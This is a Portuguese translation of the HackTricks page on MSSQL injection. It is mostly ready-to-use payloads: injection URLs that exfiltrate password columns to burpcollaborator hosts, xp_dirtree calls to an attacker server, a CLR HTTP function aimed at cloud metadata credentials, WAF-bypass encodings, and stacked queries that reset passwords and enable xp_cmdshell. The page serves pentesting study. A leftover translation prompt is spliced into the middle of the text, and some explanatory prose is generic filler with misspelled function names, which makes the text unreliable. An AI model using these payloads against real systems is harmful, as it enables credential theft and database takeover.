hacktricks/pentesting-web/sql-injection/mssql-injection.md

19 KiB

Injeção MSSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Enumeração do Active Directory

Pode ser possível enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL usando as seguintes funções MSSQL:

  • SELECT DEFAULT_DOMAIN(): Obter o nome de domínio atual.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMÍNIO\Administrador')): Se você conhece o nome do domínio (DOMÍNIO neste exemplo), esta função retornará o SID do usuário Administrador no formato hexadecimal. Isso parecerá 0x01050000000[...]0000f401, observe como os últimos 4 bytes são o número 500 no formato big endian, que é o ID comum do usuário administrador.
    Esta função permitirá que você conheça o ID do domínio (todos os bytes, exceto os últimos 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Esta função retornará o nome de usuário do ID indicado (se houver), neste caso 0000e803 em big endian == 1000 (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar bruta IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vectores baseados em erros alternativos

As injeções de SQL baseadas em erros geralmente se assemelham a construções como +AND+1=@@version-- e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados desejados.

Alguns exemplos dessas funções:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Exemplo de uso da função USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

A função fn_xe_file_target_read_file é usada para ler arquivos no Microsoft SQL Server. No entanto, essa função pode ser explorada para realizar um ataque de SSRF (Server-Side Request Forgery).

O ataque de SSRF ocorre quando um invasor consegue fazer com que o servidor execute solicitações em seu nome para outros sistemas internos ou externos. Isso pode levar a vários problemas de segurança, como vazamento de informações confidenciais ou até mesmo comprometimento completo do sistema.

Para explorar essa vulnerabilidade, o invasor pode fornecer um caminho de arquivo malicioso como parâmetro para a função fn_xe_file_target_read_file. Isso fará com que o servidor SQL execute a leitura do arquivo especificado pelo invasor.

É importante mencionar que essa vulnerabilidade só pode ser explorada se o usuário tiver permissões para executar a função fn_xe_file_target_read_file. Portanto, é essencial garantir que as permissões sejam configuradas corretamente para evitar possíveis ataques de SSRF.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

Permissões: Requer permissão VIEW SERVER STATE no servidor.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

A função fn_get_audit_file é uma função específica do Microsoft SQL Server que permite aos usuários obter informações de auditoria de um arquivo específico. Essa função é comumente usada para fins de monitoramento e análise de segurança.

No entanto, é importante ter cuidado ao usar essa função, pois ela pode ser vulnerável a ataques de injeção de SQL. Os invasores podem explorar essa vulnerabilidade para executar comandos maliciosos no banco de dados, comprometendo a integridade e a confidencialidade dos dados.

Para evitar ataques de injeção de SQL, é recomendado validar e sanitizar todas as entradas de dados antes de passá-las para a função fn_get_audit_file. Isso pode ser feito por meio de técnicas como a utilização de parâmetros parametrizados ou a implementação de filtros de entrada adequados.

Além disso, é importante manter o Microsoft SQL Server atualizado com as últimas correções de segurança e seguir as práticas recomendadas de segurança, como a aplicação de princípios de privilégio mínimo e a restrição de acesso aos objetos do banco de dados.

Ao tomar essas precauções, é possível utilizar a função fn_get_audit_file de forma segura e eficaz, aproveitando seus recursos de auditoria sem comprometer a segurança do sistema.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

Permissões: Requer a permissão CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

A função fn_trace_gettabe é uma função interna do Microsoft SQL Server que é usada para obter informações de rastreamento de eventos. Essa função retorna uma tabela temporária que contém os dados de rastreamento capturados pelo SQL Server Profiler.

Essa função pode ser explorada em um ataque de injeção de SQL para obter informações sensíveis do banco de dados. Um invasor pode usar essa função para extrair dados confidenciais, como nomes de usuário, senhas e outras informações confidenciais armazenadas no banco de dados.

Para proteger contra ataques de injeção de SQL que exploram a função fn_trace_gettabe, é importante implementar práticas de segurança recomendadas, como a validação adequada de entrada de dados, o uso de parâmetros de consulta parametrizados e a restrição de privilégios de acesso ao banco de dados.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

Permissões: Requer a permissão CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

O método mais comum para fazer uma chamada de rede que você encontrará usando o MSSQL é o uso do Stored Procedure xp_dirtree, que estranhamente não é documentado pela Microsoft, o que fez com que ele fosse documentado por outras pessoas na Internet. Este método tem sido usado em vários exemplos de posts de exfiltração de dados fora de banda na Internet.

Essencialmente,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Assim como o LOAD_FILE do MySQL, você pode usar o xp_dirtree para fazer uma solicitação de rede apenas para a porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.

PS: Isso não funciona no Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) em execução em um Windows Server 2016 Datacenter na configuração padrão.

Existem outros procedimentos armazenados, como o master..xp_fileexist ou xp_subdirs, que podem ser usados para resultados semelhantes.

xp_cmdshell

Obviamente, você também pode usar o xp_cmdshell para executar algo que acione um SSRF. Para mais informações, leia a seção relevante na página:

pentesting-mssql-microsoft-sql-server

Função Definida pelo Usuário MSSQL - SQLHttp

É bastante simples escrever uma UDF CLR (Função Definida pelo Usuário em Tempo de Execução Comum - código escrito em qualquer uma das linguagens .NET e compilado em um DLL) e carregá-la no MSSQL para funções personalizadas. No entanto, isso requer acesso dbo, portanto, pode não funcionar a menos que a conexão do aplicativo da web ao banco de dados seja como sa ou uma função de Administrador.

Este repositório do Github possui o projeto do Visual Studio e as instruções de instalação para carregar o binário no MSSQL como uma montagem CLR e, em seguida, invocar solicitações GET HTTP de dentro do MSSQL.

O código http.cs usa a classe WebClient para fazer uma solicitação GET e buscar o conteúdo conforme especificado.

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}

Nas instruções de instalação, execute o seguinte antes da consulta CREATE ASSEMBLY para adicionar o hash SHA512 da montagem à lista de assemblies confiáveis no servidor (você pode ver a lista usando select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Uma vez que a montagem é adicionada e a função criada, podemos executar o seguinte para fazer nossas solicitações HTTP.

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Exploração rápida: Recuperar uma tabela inteira em uma única consulta

Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma única consulta - o uso da cláusula FOR XML ou da cláusula FOR JSON. A cláusula FOR XML requer um modo especificado, como "raw", então em termos de brevidade, FOR JSON supera isso.

A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

As vetores baseados em erros precisam de um alias ou um nome, pois a saída de expressões sem eles não pode ser formatada como JSON.

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Recuperando a consulta atual

A consulta SQL atual sendo executada pode ser recuperada do acesso sys.dm_exec_requests e sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Permissões: Se o usuário tiver permissão VIEW SERVER STATE no servidor, o usuário verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Pequenos truques para contornar o WAF

Caracteres de espaço em branco não padrão: %C2%85 ou %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Notação científica (0e) e notação hexadecimal (0x) para ofuscar UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

Um ponto em vez de um espaço em branco entre FROM e o nome da coluna:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separador entre SELECT e uma coluna descartável:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

Bypassando WAF com consultas empilhadas não convencionais

De acordo com este post de blog, é possível empilhar consultas no MSSQL sem usar ";":

Portanto, por exemplo, várias consultas como:

use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

O seguinte é o conteúdo de um livro sobre técnicas de hacking. O conteúdo a seguir é do arquivo pentesting-web/sql-injection/mssql-injection.md. Traduza o texto relevante para o português e retorne a tradução mantendo exatamente a mesma sintaxe de markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags de markdown. Também não adicione nada além da tradução e da sintaxe de markdown.

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Portanto, poderia ser possível contornar diferentes WAFs que não consideram essa forma de empilhamento de consultas. Por exemplo:

# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥